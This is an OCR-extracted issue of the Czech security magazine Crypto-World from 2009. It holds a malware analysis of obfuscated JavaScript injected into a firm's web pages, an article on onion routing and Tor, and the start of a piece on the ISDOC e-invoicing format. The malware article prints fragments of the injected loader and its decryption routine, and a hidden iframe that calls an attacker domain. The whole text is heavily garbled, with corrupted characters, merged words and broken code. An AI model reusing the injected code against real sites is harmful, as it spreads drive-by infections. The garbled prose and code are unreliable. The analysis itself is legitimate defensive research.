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A. Vyprava za obsahem javascriptu
Jaroslav Vorli¢ek (jerry at cybercave dot c2,
Jakub Suchy {nfo at jsuchy dot c2

Uvod

Jeden z velmi nebezf®ych p@itacovych myt sowasné doby je, Ze Skodlivy kdd se nachazi
vyhradré na strankach sitheroticky lagnych pipadré strankach poskytujicich warez a
jinych podobnych. Fedpokladam, Ze &Sina koleg uz zazila nestnekrat argumentaci
klienti o nenav&vovani zavadnych stranek degvapeni nad zji8him existence hati
Sitené z webovych stranek. Bohuzel sediavachazi jiz i na strankach, které maji daleko do
zavadného obsahu. Nedavno jsem pomahal kolegoubdak Suchému s analyzou malware
nalezenym na internetovych strankach jedné weg&eé firmy.

Bylo prvniho dubna 2009 argdpokladam, Ze jsem nebyl sam v pohotovosti oklednva
Conficker. Lehce po poledni mi napsal Kuba, zdgtttbnepomohl s jednim javascriptem co
naSel. Prvotnim impulsem ke zkoumani bylo, Ze d$&iazacal hlasit po navstv¢ stranek.
Jelikoz se Conficker neprojevoval a toto vypadadovelmi zajimavy rébus keSeni, pustil
jsem se do analyzy.

Analyza hlaviéky javascriptu

Analyza byla provedena v prostli uzgisobeném k analyze h&i Pokud byste ckiti kroky
po mré opakovat, prosim provége tak v prostedi, kde nehrozi &ni virové infekce a
nastroji, které zarti, Ze se Vam ha¥ nevymkne z rukou a neovladne Vadi. silyni jiz k
analyze javascriptu.

Uprosted php stranky byl vioZzen kod (kompletni kod je dem v [13], piloha 1,VloZzeny
Javascript — kéd ve strancg“ktery z&inal takto

<script type="text/javascript">var jj=window[StricfgomCharCode(101)+new String("v")+new
String("a")+String.fromCharCode(108)](String.from&@ode(101)+new String("v")+new
String("a")+String.fromCharCode(108));
Ji(\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x6 3\x56\HX69\x31\x4 7\x28\x62\x4 1\x68\X59\x29\x 7 b\X6 6 \X 768X
\X63\x74\x69\x6\x6e\x20\x62\x44\X6 7\x34\x28\x6bT&7 a\x29\x 7b\x76\X6 1\x 72\x20\........

Na prvni pohled to vypada jako javascript, kteryns® red re¢im nebo gkym ukryt. Stroji
tento kod nevadi, ale tato toto skryti nebo zanilzGanglicky obfuscation) #2Fuje
porozungni kddu s cilem vyhnout se detekci anfivir

Prvni¢ast javascriptu - window[String.fromCharCode(10B®wrString("v")+new
String("a")+String.fromCharCode(108)](String.from&@ode(101)+new String("v")+new
String("a")+String.fromCharCode(108) - a ve skuiesti window[eval](eval)

Funkce val vyhodnotietzec dany jako parametr a spusti ho jako javasaypkdd. Znaky
z&inajici \x66 jsou pouze ASCII nebo Unicode znakyszené hexadecim@nNevim, zda se
nepohybuji pouze na Skodlivych strankach, alSimou kdyZ narazim na funkci eval nebo
unescape, tak byvaji spojeny s nekalym kodem, ktarguziva zranitelnosti Internet
Exploreru a stahuje ha&¥ do paitace.
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Ze zkuSenosti dopotuji nerozebirat Skodlivy kéd na platfo&rpro kterou je ufen. Zasad®
provadim analyzu malware pro Windows na Linuxu eaobré. K analyze zamlZzeného kdédu
(anglicky obfuscated code) pouzivam v maximalnienaiutomatické nastroje nebo skripty. Z
velmi prostého dvodu - Setti to ¢as.

Analyza zdrojového kédu javascriptu

Ukladam zamlzeny (angl. obfuscated{zec do souboru payload a Zjifi, co je ukryté
uvnitt. Jeden linuxovy fikaz - cat payload | perl -pe 's/\\x(..)/chr(he}j&fe' - rozkédoval
payload daitelngjSi podoby:

<script type="text/javascript">
function cVUI1G(bAhY){
function bDg4(koz){
var gXARrbV=0;
var abt=koz.length, zKpOXd=0;

......... (kompletni kod je uveden v [13Fipze 2,,VloZzeny Javascript — zdrojovy koy*

RozlozZzeny kéd jiz vypada dalekitelngji nez pivodni forma a Ize odhadovat, céla Cely
skript se tak sklada ze dva@asti. Prvni je jiZitelny kod, ktery provede prvni rozkryti kdédu
(anglicky de-obfuscation) a druhadsti je nejzajimaysi ¢ast javascriptu - vlastni (v tuto
chvili jsem pgedpokladal) maligni kod.Bd rokem a @l atocnikim vétSinou stail pouhy
unescape k vyhnuti se detekci antivirovych programcmeér od té doby se vyvinuly jako
metody detekce, tak metody skryvani. Rozkédeetrec nebylo Zadny problém, ale bohuZel
neobsahoval Zadneitelné c¢asti. Divod je jednoduchy. Vnihi kod je =zaSifrovany
jednoduchou Sifrou.

Pokusim se popsat, co dany kdd znamena

function dsWV7(fE7uy,dQbss){
return fE7uy.charCodeAt(dQbss);
}

vrati zrettzce fE7uy znak na pozici dQbss

function bDg4(koz){
var gXARrbV=0;
var abt=koz.length, zKpOXd=0;
while (zKpOXd<abt){
gXARrbV+=dsWV7(koz,zKpOXd)*abt;
zKpOXd++;
}
return (GXARrbV+");
}
zpracujeretézec koz a vynasobi séet ASCII hodnot wetézci délkouretézce.

Vlastni deSifrovaci kod vypadé takto:

var dkm7Gx=eval('a_rOg;u_m+eOn;tls+.+cla+l_l;ereptace(/[;0_1\+])/g, ")),
v dkm7Gx je odkaz na vlastni funkci, k umeéahrekurze
k4Rca=", xF7S=0, r6bZI=0;

var tluéYe=(new String(dkm7Gx)).replace(/[*"@a-z0-2A.,-1/g9,");
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Nize kdd jsem nebyl schopen rozlustit bez smidt chragném prostedi (Sandbox)

var xwjC=bDg4(tluéYe);
bAhY=unescape(bAhY); <&v bAhY je nyni uloZen obfuskovany kod v binarni pbél
for(var 1JQZh=0; 1JQZh < (bAhY.length); JQZh++){
var bFKWW=dsWV7(tlu6Ye,xF7S)*"dsWV7(xwjC,r6bZl);
var uFO=dsWV7(bAhY,1JQZzh);
XF7S++,r6bZI++;
k4Rca+=String.fromCharCode(UFO*bFKWW);
if(rébZI>xwjC.length)rébzI=0;
if(xF7S>tlu6Ye.length)xF7S=0;
}

Jako KIE k desifrovani se pouziva &klbFKWW, ktery je ziskan jako XOR znakiskanych z
prostedi v piibéhu vykonavani javascriptu. Ot@ny text je poté ziskan jako Sifrovany text
XOR Kkli¢c. Metoda Sifrovani nebyla hlavnim cilem patrani,tgepouze zajimavost nebo
piekazka, kterou jef¢ba pekonat. Dal uz se bez znalosti ptedi, ve kterém je javascript
spusEn nedalo pokréovat. Naradu (Fisel experiment v chr&né laboraté.

Vlastni skryty kéd

Javscript jsem krokoval v Microsoft Script Editceiypo chvili jsem ziskal &jiz kompletni
kod.

function ascgpELKf(){};
ascgpELKkf.prototype = {
getFrameURL : function(){
var dlh=document.location.host;
return \"http\"+"://' + ((dlh == " || dlh == 'uefined") ? this.getRandString() : ") + dlh.repléfea-z0-9.-
1/,".).replace (\.+/,".") +\".\" + this.getRanmliBg() + \".\" + this.path + this.host; },
host:'/qq.cn/',
path:\"\\"+\"q\"+String.fromCharCode(119)+\"e\"+\"fnew String(\"z\")+String.fromCharCode(46)+new
String(\"c\")+new String(\"n\"),
.... (uveden v [13]filoze 3 -,VloZzeny Javascript — Skodlivy koy*

Celé toto slouzi k instalaci kddu ze stranekéntka anebo k vlioZzeni nasledujiciho kédu do
dokumentu, ktery se vykondizobrazeni stranky. VloZeny kod do stranky je edsjici

<div style="display:none"><iframe src="http://AA.X¥ .cz.b7d4677a720fcd24.fqwerz.cn/qg.cn/>
</iframe></div>

AAAXXX.CZ je URL ze které byla tato stranka volarn&vd4677a720fcd24 je nahodtislo.
Pokud se skript vykona, pak dtokovi na doméé fqwerz.cn (IP 212.117.185.34) je odeslan
nasledujici HTTP pozadavek

GET /qq.cn/ HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, gaipjpeg, application/x-shockwave-flash, */*
Referer: http://AA.XXXY .cz/test.html

Accept-Language: en-us Accept-Encoding: gzip, tdefla

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Wimals NT 5.1; SV1)

Host: AA.XXXY.cz.b7d4677a720fcd24.fqwerz.cn

Connection: Keep-Alive


http://AA.XXXY.cz.b7d4677a720fcd24.fqwerz.cn/qq.cn/'
http://AA.XXXY.cz/test.html
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Vypis z whois pro IP adresu 212.117.185.34

inetnum: 212.117.185.0 - 212.117.185.255
netname: RUSTELEKOM

descr: Rustelekom LLC

country: RU

Analyza malware

Pokud ........ fqwerz.cn/qg.coteviete, pak se Vam do pivace stahne vcelku slusné mnozstvi
hawti. Zajimavé na strance Wtaika je, Ze je zde implementovan mechanizmus sbeddwdo
jaké gikazy posila a zda se, Ze m&whdva pokusy na ziskani infekce. Poté dojde daky
cas k zablokovani pra¥godobré IP adresy. Je mozné, Ze se taktocmilo brani analyze
provozu nebo se pouze snaziietitovy provoz. BohuZel toto velmi znesrage analyzu a
opakovani pokusu.

Po oteweni ve virtualni laborato stouplo vytizeni procesoru laborigona 100% a do dvou
minut laboratd havarovala se zobrazenim modréhdi&stobrazovky. Poté jsem jiZ stanici
nespoud do Windows, ale provedl jsem boot ddéive volrg dostupného nastroje pro
forenzni analyzu — Helix CD. Vytv¥ib jsem MD5 hash (odbornici prominou) vSech soubor
na disku a dal se do zjdvani zn&n porovnanim originalnich souliose zn¢nénymi. Kazdy
zjisteny pridany nebo zrnény soubor jsem nahral na virustotal.com, abychigjigk se k
nému postavi jednotlivé antivirové systémy. Vysledkgu vcelku zajimavé, dopatuiji je
shlédnout v [13] , filoze 4 — Vysledky antivirovych kontrol“.

Zdroj infekce

V okamziku, kdy bylo zji&nho co dany javascript znamena, pustili jsme se bokudo
zjisteni, kde se vlasth na strankach objevil a odkud. Péta se nam kontaktovat
administratora a ziskat logy z web serveru. V lpgstupi jsme objevili mnoho zaznaio
piihladeni na FTP z adresCiny. Zajimavym zji&nim bylo, Ze jsme nasli pouze é3péa
prihlaSeni,cili uto¢nik odrekud ziskal platné uzivatelské jméno a heslo. Agsale, zdali
existuje vir, ktery krade hesla do FTP, a naSliggimh rekolik. Predpokladame, Ze pia¢
administratora stranek bylkigle infikovan virem, jehoz cilem bylo ziskatigtupy na FTP
acty — nagriklad viry Virut nebo Neosploit. Bohuzel patratéam v ¢ase jaky vir byl na
stanici rfkolik mésiar zpst, negineslo zadny vysledek.

Poté jsme také zjivali, co se zrnilo na FTP dtu, a naSli jsme, Ze pro danou doménu byl
do kazdého existujiciho php a js souboru vioZemlkpjavascript.

Zavér

Po prohlédnuti explait bych dopordil na klientskych peéitacich mit stale aktualizované
Windows, pouzivat firewall, zajistit nainstalovamayaktualni antivirovy systém s aktudlni
antivirovou databazi,p pohybu po internetu pouzivat prohkZEirefox s nainstalovanym

NoScript pluginem. TaktéZz bych nedop&mual pouzivani automaticky funkci pamatovani
hesel, misto toho by bylo vhodné pouZzit passwondagery jako je ndjklad Keepass.
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Z pohledu administratora serveru by bylo vhodné, kdlenti prestali pouzivat FTP protokol
pro update stranek a tento nahrali SCP nebo FTHSWUP na server by &h byt omezen
pouze pro nezbytnutny rozsah IP adres. Rozsahy IP adres pouz€gskou Republiku a
Slovensko Kuba zvejnil na svém blogu [12]. Administrdioby si taktéz mili zajistit
vynuceni zniny FTP hesla poijblizn¢ 90-ti dnech.
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B. Anonymita v globalni siti
Ing. Jan Hajny, Ustav telekomunikaci, FEKT VUT Brno
(hajny@feec.vutbr.gz

Abstrakt — Hlavnim cilem tohotdlanku je popsat saiasny stav tykajici se ochrany
privatnich dat pi pouzivani informénich systém a identifikovat zakladni prosdky pro
jejich ochranu. V prvnicasti jsou zmieny hlavni problémy M vyuZivani sogasnych
informacnich technologii a hrozby, které nAm mohdingst. Druhacast clanku se vnuje
jednomu z prvnich krdkpi ochrare anonymity v péitacovych sitich. Jedna se o technologii
Tor poskytujici moznost skryti identity.

Osobni data a jejich vyuzivani

V sowasné dob jiz pIné Zijeme v informé&ni spol€nosti, tedy spoknosti zaloZzené
na datech a jejichipnosu, zpracovani. Téinkazdy z nas vyuziva osobnidi@, mobilni
telefon, kreditni kartyi smart karty pro identifikaci viznych organizacich aradech. Neni
v8ak zcela iejmé, jaka data se ve skétesti pomocidchto gistroju pirenasi a kolik mohou
fici o naSem chovani a soukromi. Nejsou to také @adizeni, ktera vlastnime a ktera tak
muzeme pimo ovlivnit. Jedn& se i o tzv. bezpestni zéizeni vSude, kde se pohybujeme —
nag. dohledové kamery ve dstech, skenery na letisti, biometrické pasy nealzmé slevové
karty obchodnichietzci. VSechny tyto zézeni mohou pracovat s naSi identitou a my nejsme
schopni pilis ovlivnit kolik informaci o nas uvdlji. Mnoho gikladi maze byt uvedeno
nap. zeclanki Bruce Schneiera, ktery se problematikou ochraewntity zabyva. Ze&lanku
zabyvajiciho se problematikou privatnich dat [1]gené, Ze se nejedna pouze o teoretickou
hrozbu. Rikladem mohou byt dohledové systémy. Jen v Loddgnv sodasné dob okolo
500.000 dohledovych kamer [2]. ligsto z gkterych vyzkuni vyplyva [3], Ze jejich
efektivita neni @ odhalovani zlsinu prili§ vysokd. Zatimco mohou mit mensi vliv na
presunuti zlginnosti na jina mista, v globa$im netitku se neprojevi. Na druhou stranu
jsou tyto systémy v provozu 24 hodin déransnimaji vS8echny osoby naiemych mistech.

S technologickym vyvojem nejsme daleko od autorkétio rozpoznavani tviaa tedy i
identifikace osob na zaznamech. Budou o nas tedynandata tykajici se naseho pohybu
béhem dne, chovani (napkde nakupujeme) a dokonce bude mozné kamery ineuz
k ilegalnimu sledovani osob v soukromych bytech, &tigré jsou v dosahu kamer. Stefak
zname letecké fotografie slouzici jako podklady dpam — dostate¢ detailni na odhaleni
mnoha informaci o soukromych osobéach.

DalSim gikladem ohroZeni identity jsou smart karty a jejighuzivani Bhem &zné
denni¢innosti. Neni slozité si wdomit, Ze ¥kde musi existovat data o tom, cghbm dne
jime (zangstnanecké ID karty), nakupujeme v obchodech (knédtiarty), jaké mame zvyky
pii nakupech nap potravin (slevovélenské karty) nebo o co se zajimame
(videopijéovny/knihovny). Ve vSechéthto gipadech je jednozie¢ spojena nasSe identita
s nasSim chovanim. Vytyviase tak jakysi datovy otisk naSi osobnostiegto, Ze tyto data jsou
rozprostena u éiznych organizaci a néznych mistech.

V n¢kterych gipadech dokonce ideme Usgdne tvrdit, Ze data o nés velice Uzce
ovliviiuji naSe zivoty [4]. Na zakl&déchto informaci mohou instituce rozhodovat o tong zd
dostaneme jcku v bance, zda dostaneme vizum do zabrakii zda jsme dostateé
duvéryhodni pro sdeni tajnych informaci. Négggemnym faktem je, Ze sténi €chto dat si
nijak neugdomujeme a netizeme je tim nijak ovlivnit, stefntak jako nemZzeme ovlivnit
chyby, které se f¥ou v €chto datech vyskytnout. JednodusSe proto, Ze arimee\kde jsou
v sowasné dob data uloZena. JelikoZz se jedn& o cenné informaoe,¢asto prosedkem
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obchodu nap reklamnich agentur. To jgetelné pi vyuzivani sluzeb jako je vejny email,
internetové obchody, vyhledavaci nastrdjekomunikani nastroje (Facebook atd.) kde je
reklama zcela cilena podle toho jak danou sluzbwZziwame. Tato reklama je pak také
mnohem dinngjSi, tim padem jsou jeji zadavatelé ochotni platigené sumy za data o
uzivatelich.

Jak bylo uvedeno urikladi z predchoziho textu, existujgigouzivani informanich
technologii piliS hrozeb na to, abyistala naSe identita skryta. Tato digitalni identgak
vyuzivana pi aktivitach, které jiz nemusi byt zcela v zajmuvakele. Problém je, Ze v této
fazi je ténét nemozné takovéto uzivani dat omeditkontrolovat. Givodem neni az tak
technologickd nemoznost, jako neochota poskytov&tehto sluzeb umaiovat anonymgsi
prostedi. V nasledujicim textu budeeplstaven nastroj, ktery trbe feSit prvotni problém
tykajici se analyzy provozu v datovych sitich. de aveden, jelikoZ se jedna o stavebni prvek
vyuZzitelny @i uvedeni dalSich technik ochrany anonymity uZilatecelosétové siti a o
prvek, bez kterého by pokiitejSi techniky ztracely smysl.

Adresace v IP sitich

Prvni problém, ktery péébujeme viesit v souvislosti se zvySenim anonymity v IP
sitich, je adresace a &ravani. V3echna posilana data jsou zaptermal do IP pakét viz
Obr.¢. 1:

Ob 31b
Verze hl[;ililéiy Typ sluzby Celkova déelka
Identifikace Pfiznaky Ofset
TTL Vy33i protokol Kontrolni soucet

Zdrojova adresa

Cilova adresa

Obr.¢. 1: Hlavicka IP paketu

Soutasti hlaveky téchto pakei je také zdrojova adresa a cilova adresa, tedyo@diné
identifikatory pivodce komunikace a cile komunikace. Mgchozi kapitole vSak byly
popsany hrozby plynouci z moznosti identifikace koikace. Vidime, Ze tedy jiz v navrhu
komunikaniho protokolu TCP/IP je jisty problém branici zeg§ anonymity v globalni siti.
Existuji vSakieSeni, ktera jsou jiz v séasné dob pouzivana a ktera mohou tento problém
uspsne vyieSit. Ziskame tak protokol pro anonymni komunik&ede z odchycenych dat
nepijdou zjistit jeji Eastnici. Jednim Z¢htoieSeni je onion routing [6].

Onion routing

Cilem metody je anonymni provoz v IP sitich diky. tenion routeim. Technika
vyuziva sodasnou infrastrukturu, je tedy ihned pouZzitelnd ponstalovani fislusného
software. Zakladnimi prvky jsou klient (Alice), @m routery a server (Bob), ke kterému
Alice pozadavek vysila. Z odchycenych dat neni rdo#rsledovat ani obsah komunikace ani
jeji tcastniky. Kazdy prvek, ktery se komunikacg@astni (onion router), zna pouzgegdchozi



Crypto-World 6/2009

prvek a nasledujici v cestzadny jiny. Pouze posledni onion routeietzci, tzv. gateway,
data rozSifruje, vysSle poZzadavek na server Bobd@ermetu a obdrzi odpd¥. Tato odpovd’
se zase zaSifruje a vraci séep onion routery zp k pivodci komunikace. Situace je
znazorgna pomoci Obre. 2:

Struktura onion routing sité

Obr. ¢. 2: Struktura onion routing

Bezpe&nost tohotofeSeni a anonymita Alice je zaloZena gréawa routerech. Ty si
piedavaji data mezi sebou a znaji grien gredchidce a nasledovnika. JelikoZ je cestesp
routery vzdy nahodhzvolena a unikatni, neni mozné zjistit Alici. Jedikdo s ni pimo
komunikuje je prvni router, nicmérAlice se chova z jeho pohledu jakéZhy router, ktery
provoz také jenigposila a negeneruje, tudiz ani prvni router npamédce dat. Cely provoz
vyslani poZzadavku od Alice k Bobovi tedy probih&ladovre:

1. VSechny prvky v siti vlastni soukromy aregy kli¢ asymetrické kryptografie.

2. V prvnim kroku si klient zvoli routery,ips které pjde provoz. Na jejich pttu zavisi
bezpénost a anonymita €im vice, tim je mensi moznost vysledovani. Tatdaces
musi byt nahodna. Klient znaiegné klie tchto routed.

3. Klient zasifruje suj poZzadavek dle nasledujiciho postupu:

Data=E (hlav.+ E,_(hlav.+E,_(pozadave)))

4. Tedy vezme data pro Boba a zaSifruje je pomoidjmého klée posledniho routeru C
(gateway). K vysledku pakiipoji IP hlavicku s adresou routeru C a znovu zaSifruje
pomoci VK gedchoziho routeru B. Tento proces se opakuje a¥rkmpu routeru A.

5. Tyto data pak odeSle routeru A aitivée jako BZny router, tj. Ze data pouzéeposila.
Router pomoci svého soukromeéhocelirozSifruje kryptogram a zjisti hlasku IP
paketu v 8mZ je uloZzena IP dalSiho routeru a kryptogram ma&iiny véejnym
klicem tohoto routeru. OdeSle tedy tyto data routeruTBkto postupujeme az
k poslednimu routeru. Jak je wigd Zadny router se nedozvi vice, nez IP dalSiho
routeru (pop. predchoziho, ktery data zaslal) a zaSifrovana data.

6. Jakmile dorazi data k poslednimu routeru C, mohgiurdzSifrovana a ziska se tak
pozadavek. Ten je routerem vyslan do internetu zigkana odpad’. Odpowd’ je
poslana zgt stejnym kanalem. Metoda dalgigava dalSi bezgeostni techniky,
nagiklad routery vkladajici ndhodné zpéhdl do komunikace (aby nebylo mozné
sledovat tok dat dlgasovani)i vkladajici nesmysina data.

TOR

VySe zmirny postup je zakladem onion routingu, tedy vyiveée vrstvy, do nichz
jsou vzdy Sifrovany informace o dalSim KodNejznandjSi implementaci tohoto postupu je
TOR, coz je projekt The Onion Routing [7]. Zde jesfup jems odliSny. Vytvai se
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symetrické ki¢e pro kazdy autentizovany router pomoci Diffie-iHehova algoritmu [8] a
PKI [9], které se dale vyuzivaji k Sifrovani zpréw divodu rychlosti). Alice pak zpravu
zaSifruje postupfivSemi symetrickymi kéi ve stejném duchu jako wedchozim gipack, viz
Obr.¢. 3.

Sifrovano pro K3

Zprava pro Boba

Obr.¢. 3: Dogredny smdr v TOR

Zprava je pak dortena bezpiné az Bobovi. Ten rize vytvdit odpowd a poslat ji
zpétnou cestou, kde kazdy router zpravu zaSifruje ssymetrickym kléem, gida tedy dalSi
vrstvu. AZ dorazi zprava k Alici, tiZe byt rozSifrovana, jelikoz Alice vSechny symetéc
klice zna. Situace je znazeéma na Obr¢. 4.

Sifrovano K2

~ Sifrovano K3

'[ Zprava od Boba

Obr.¢. 4: Odpoed v TOR

~ = A

OR2 OR3 B
gX3 -
gY3
~Ex1(Exz(Exa(M)))- et
T EK2\EKS -
Exa(M)—s N
Exs(M) M
-—Exs(M)—
<Exs(Exs(M))—
~Ex1(Exa(Exa(M)))- k2(Exa(M))

Obr.¢. 5: TOR — penos zprav
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Vysledkem je prakticka implementace, kterd ndm tddwamunikovat v IP sitich zcela
anonyme i pres nutnost pouzivani IP adres. ZjednoduSeny progesieni kanalu je také na
Obr.¢. 5:

Zaveér

Hlavnim cilem tohot@lanku bylo uvedenii/odia pro zvySeni anonymity v prastdi
globalni si¢ a uvedenfeSeni, které dze slouzit jako p&ateini bod. Byl zde striné popsan
princip tzv. onion routingu a nejpouzivgdi implementace TOR. Na zakkattchto nastraj
je jiz mozné zajistit anonymni komunikaci mezi¢tha prvky vyuzivajici IP sif piicemz
data budou mezi prvky vynéna, ale pro vSechnyastniky fistane identita klienta skryta.
Tyto nastroje bude dale mozné vyuzit v dalSich détb vysSi vrstvy, ndjklad u protokal
majicich zajistit anonymni autentizaci.

Literatura

[1] SCHNEIER, Bruce. The Tech Lab: Bruce Schneier f@li2009 [cit. 2009-04-26]. Dostupny
z WWW: <http://news.bbc.co.uk/1/hi/technology/7897892stm

[2] FactCheck: how many CCTV cameras? [online]. 2082609-04-26]. Dostupny z WWW:
<http://www.channel4.com/news/articles/society/faetck+how+many+cctv+cameras/2291267

[3] SCHNEIER, Bruce. CCTV doesn't keep us safe, yet#imeras are everywhere [online].
2008 [cit. 2009-04-26]. Dostupny z WWW:
<http://www.guardian.co.uk/technology/2008/jun/28@ios.ukcrime>.

[4] SCHNEIER, Bruce. Our Data, Ourselves [online]. 2038 2009-04-26]. Dostupny z WWW:
<http://www.wired.com/print/politics/security/commiany/securitymatters/2008/05/securitym
atters_0515.

[5] Onion routing [online]. 2009 [cit. 2009-04-26]. Dopny z WWW:
<http://en.wikipedia.org/wiki/Onion_routirxg

[6] Tor: anonymity online [online]. 2009 [cit. 2009-@4]. Dostupny z WWW:
<http://www.torproject.org#.

[7] DIFFIE, Whitfield, HELLMAN, Martin. New Directionsn Cryptography [online]. 1976
[cit. 2009-04-26]. Dostupny z WWW:
<http://www.cs.rutgers.edu/~tdnguyen/classes/csé&dédmtations/Arvind-NEWDIRS. pdf

[8] PKI [online]. - [cit. 2009-04-26]. Dostupny z WWWhttp://cs.wikipedia.org/wiki/PK.

11


http://news.bbc.co.uk/1/hi/technology/7897892.stm
http://www.channel4.com/news/articles/society/factcheck+how+many+cctv+cameras/2291167
http://www.guardian.co.uk/technology/2008/jun/26/politics.ukcrime
http://www.wired.com/print/politics/security/commentary/securitymatters/2008/05/securitym
http://en.wikipedia.org/wiki/Onion_routing
http://www.torproject.org/
http://www.cs.rutgers.edu/~tdnguyen/classes/cs671/presentations/Arvind-NEWDIRS.pdf
http://cs.wikipedia.org/wiki/PKI

Crypto-World 6/2009

C.Format elektronické fakturace ISDOC
Petr Kuch#& ABRA Software a.sgetr.kuchar@abra.eu
sdruzeni SPIS petr.kuchar@spis.g¢z

Preambule

S nafistajicim pouzivanim ICT technologii ve vSech obbridskeé cinnosti je v poslednim
obdobi pozorovatelny trendétiho pouzivani elektronickych dokumérd jejich vynény
mezi subjekty ve smyslu nahrazeni klasickych paptib postug elektronickymi. V tomto
duchu jde i legislativa R, ktera od roku 2000 zna elektronicky podpis, @klir2005 maji
elektronické daové doklady stejnou vahu jako papirové a od 7/200@le mozné
autorizova® konvertovat papirové dokumenty na elektronické@apak a také komunikovat
se statenti dalSimi subjekty elektronicky prdasdnictvim tzv. Datové schranky. Vrcholem
trendu elektronizace ve kané spray je pak systém zakladnich registrschvaleny
Poslaneckou smovnou 13.2.2009, ktery posune eGovernmedieské republice po mnoha
letech na zcela novou informatickou Urdve

Vedle gikladh z verejné spravy je stejny trend pozorovatelny i veesféorporatni. Jednim

z milnika je vybudovani formatu elektronické fakturace svefiz ISDOC. Tento format byl
vystawn Pracovni skupinou pro elektronickou fakturaciuzeni SPIS a ma Sanci stat se de
facto standardem elektronické fakturac€R. V fijnu 2008 se 14 vyznamnych firem z oboru
ICT rozhodlo k podpisu ,Deklarace o sptém postupu v oblasti elektronické fakturace*,
kterou se tyto subjekty zavazaly format implemeatodo svych faktugaich produki

v obdobi jednoho roku od jeho vyhlaseni, ke které@wo§lo 19.3.2009. Nasledujictigpsvek

se ¥nuje vysétleni divoda jeho existence, technologickych vychodisek powhitfri jeho
navrhu etné feSeni problematiky elektronického podpisu a tallédgenu z nastrdj pro jeho
hromadné nasazeni.

Co je forméat ISDOC ?

Format ISDOC je format elektronické fakturace, defiany jako XML soubor a popsany
XSD schématem. Soasti formatu je i zatieny elektronicky podpis, zalozeny na
kvalifikovaném certifikatugimz se takovy dokument stavandaym dokladem vystavenym

v elektronické formy podle § 26 odst.4 zakok&®35/2004 o dani ziwlané hodnoty.

Hlavni mysSlenkou forméatu ISDOC je umoznit korpoféatn i varejnému sektoru posilani
datovych zprav, jejichz interni format bude v sdulas nasi legislativou, bude podporovan
vyznamnymi vyrobci faktutmiho software 'R a hlavié bude jednotny. Zgni tak léta
trvajici Zalostny stav inforndai praxe v naSi zemi, kdyc¢atechnologie i legislativa
elektronickou fakturaci dovolovala se tato diky stenci mnoha proprietarnich format
raiznych vyrobé& nedala pouzit v globalnim dtfitku. Tak v roce 2006 vznikla z iniciativy
ABRA Software a.s. ve sdruzeni SPIS pracovni slagitera navazala na legislativni reSerse
svych gedchidci z roku 2003 a zmla hledat konkrétni legislativni i technologickoestu.
Zakladajiciclenové skupiny ABRA Software, LCS International mm& & Young se zahy
rozrostli o dalsi firmy jako jsou Cigler Softwat€2Atmitec, Stormware, DC Concept, JKR
neboCeska spiitelna. Pozorngtend jiz jisté postehl, Ze jde ¥tSinou o konkurenty na trhu
informanich a ERP systé&im Ano je tomu tak, nicménmysSlenka jednotného formatu je
natolik silna, Ze i firmy v imém konkuretnim postaveni jsou schopny si sednout k jednomu
stolu a spolupracovat na sp&ém dile. KI€éovou ulohu v tomto ohledu sehralo Sdruzeni pro
informaéni spolénost (SPIS).
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Pro¢ ISDOC vznikl a jaky je jeho cil ?

Blizkym cilem vzniku forméatu bylo sjednotit elektiokou podobu &kolika ekonomickych
dokument fakturani povahy (faktura, dobropis, vrubopis, zalohov&tdea, daovy
zélohovy list a jeho dobropis) a dat ji presinictvim spoluprace a podpory vyznamnych
vyrobai na trhu k dispozici jejich kliedtn - firmam, které se zabyvaji obchodénsluzbami

a které z nejrzrgjSich divodi neimplementovaly Zadné jiné obedeé&eni. Vzdalenym cilem
pak je dosadhnout timto @pobem zvySeni produktivity prace v segmentu vyralwjstribuce
zboZi i v segmentu sluzeb, coZ v dlouhodobém hotizpomize Ceské republice jako celku
se prosadit v evropském kontextu jako Zesnvelkym podilem sluzeb s vysoko@danou
hodnotou. Tim aktivita ISDOC plni i jedno ze z&kiazh poslani sdruzeni SPIS.

Hlavni vyhody ISDOC

Nevyzaduje pro komunikaci zadného zprodtedkovatele

Jedna z hlavnich vyhod tohoto formatu. XML soublesahuje elektronicky podpis a je tudiz
plnohodnotnym d#ovym dokladem. Vtomto smyslu neni podstatné jaké@ngsova
infrastruktura je pouzita a jak doSlo k déeni dokladu od vystavitele kKipmci. Je mozné
tyto soubory posilat jakoifpohu v lEZném e-mailu, je mozZné pouZivat zab&epsy Fenos
pomoci VPN¢i dalSichieSeni (jako nap ,NESS Trade Connector®, coz je zabemrey
pienos na urovni B2B) nebo je mozné soubory dopraveadyzickych médiich typu Flagin
dokonce FD. BDsledkem této vyhody je samepmeé Uspora transakich naklad, které nap
malym firmam doposud branily takovi&eSeni nasadit. Tato vlastnost byla jednim ze
zakladnich pozadavkcelého zadani formatu ISDOC.

Pripousti moznost zprostedkovatele komunikace

| kdyZz si tento bod mozna zdandiwdporuje s bodemipdchozim, je takéudezity. Forméat
totiz pripousti i moznostieti strany - zprostdkovatele komunikace mezi vystavcem a
piijemcem, kterou podporuje zvlastnimi ,routovacimilozkami. Feti strana do jvodre
bilateralniho vztahuinasi zpravidla &gakou dalSi fidanou hodnotu, za kterou jsotvedni
strany ochotny zaplatit. Jedna z nejzajigjsich je vyeSeni bezpmostni problematiky
jednotlivych doklad tak, aby je cestou nemohl nikdo monitorovat, daldyva notifikace
prijeti dokladu zprosedkovatelem i ijemcem, vyeSeni souhlasu gipnem elektronickych
dokladi pomoci vSeobecnych podminek zpfedkovatele a v neposledrac také ¢asta
sluzba spéivajici v archivaci jednotlivych dokl@dpo zakonnou dobu 10+1 letfiadem
takovéhoreSeni mize byt nap Ceska Spiitelna se svou sluzbou FAKTURA 24 jiz vySe
zmirény systém Datovych schranek, ktery nabidne opioyin) zakonnou fikci dorgeni
dokumentu ve laté¢ 10 dni. Dasledkem moznosti vyuZzit sluzeb intermediatora mauchétem
ISDOC je moznost pouziti stejného formatu i pratighe velké subjekty jako jsou n#glad
dodavatelé ze segmentu ultilit (tj. energie, vodsindratd).

Format je pouze jeden

Pro pochopeni vyznamu tohoto bodu je Write se podivat do &a EDI (mySleno UN
EDIFACT), coz je dalSi formét, ktery nas zakon oHDPro elektronické deové doklady
pripousti. Definuje jej odkazem na ,Dopd@eni komise 1994/820/ES ze dneifj@a 1994".
Zde je situace takova, Ze jednotlivi dodavatelé EelS€nicasto oboro¥ zanttreni, si mohou
